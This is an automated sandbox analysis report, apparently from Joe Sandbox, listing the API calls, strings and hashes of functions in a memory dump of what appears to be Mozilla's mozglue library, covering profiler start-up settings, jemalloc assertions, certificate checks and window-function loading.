getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
[I %d/%d] profiler_init, xrefs: 6C5B564E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
GeckoMain, xrefs: 6C5B5554, 6C5B55D5

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5EB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB845
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EB852
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5EB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5EB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5EBA05
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5EBA27
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EBA4B
free.MOZGLUE(?), ref: 6C5EC9C7
free.MOZGLUE(?), ref: 6C5EC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5EC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5EC878

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction ID: 673602e8f352d8f7d6f3a71851b772028b436547dc83b80d0c51d0b56f0f595f
Opcode Fuzzy Hash: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction Fuzzy Hash: 95A2AD71A083808FC725CF69C88079FB7E5BFC9314F444A2DE89A97751DB74A909CB86

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

wintrust.dll, xrefs: 6C5B72CD
(, xrefs: 6C5B768A
SHA256, xrefs: 6C5B6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5D6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7019
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7061
EnterCriticalSection.KERNEL32(?), ref: 6C5D71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5D721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D723E
EnterCriticalSection.KERNEL32(?), ref: 6C5D726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5D72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5D733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5D73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5D961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96DB
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5D9747
GetSystemInfo.KERNEL32(?), ref: 6C5D9792
__Init_thread_footer.LIBCMT ref: 6C5D97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5D97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5D9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5D984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5D9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5D9895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C5D9B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5D9BF4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5D9933, 6C5D9A33, 6C5D9A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5D99BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5D99D2
<jemalloc>, xrefs: 6C5D9B33, 6C5D9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5D99A8
MOZ_CRASH(), xrefs: 6C5D9B42
MALLOC_OPTIONS, xrefs: 6C5D97CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5D9993

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction ID: db984b5c3d20c7c7087a8a5ab7252641f9035fc751112e8f37139f72e9cb07d8
Opcode Fuzzy Hash: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction Fuzzy Hash: DE539C71A057018FD704CF2DC990615BBE1FF8A328F2AC6ADE8698B795D731E841CB85

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C5E3946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8
MOZ_CRASH(), xrefs: 6C5E3950
MALLOC_OPTIONS, xrefs: 6C5E35FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

DeleteObject, xrefs: 6C6057F9
GetThreadDpiAwarenessContext, xrefs: 6C60562D
MonitorFromWindow, xrefs: 6C60578D
EnableNonClientDpiScaling, xrefs: 6C605666
GetMonitorInfoW, xrefs: 6C6057A2
CreateSolidBrush, xrefs: 6C6057E4
GetWindowDC, xrefs: 6C605710
StretchDIBits, xrefs: 6C6057CC
GetDpiForWindow, xrefs: 6C605690
LoadCursorW, xrefs: 6C605774
CreateWindowExW, xrefs: 6C6056C5
user32, xrefs: 6C605601
GetSystemMetricsForDpi, xrefs: 6C605677
FillRect, xrefs: 6C605729
gdi32, xrefs: 6C60560A
AreDpiAwarenessContextsEqual, xrefs: 6C605637
ShowWindow, xrefs: 6C6056DE
SetWindowLongPtrW, xrefs: 6C6057B7
SetWindowPos, xrefs: 6C6056F7
ReleaseDC, xrefs: 6C605742
LoadIconW, xrefs: 6C60575B
RegisterClassW, xrefs: 6C6056AC

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5EF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
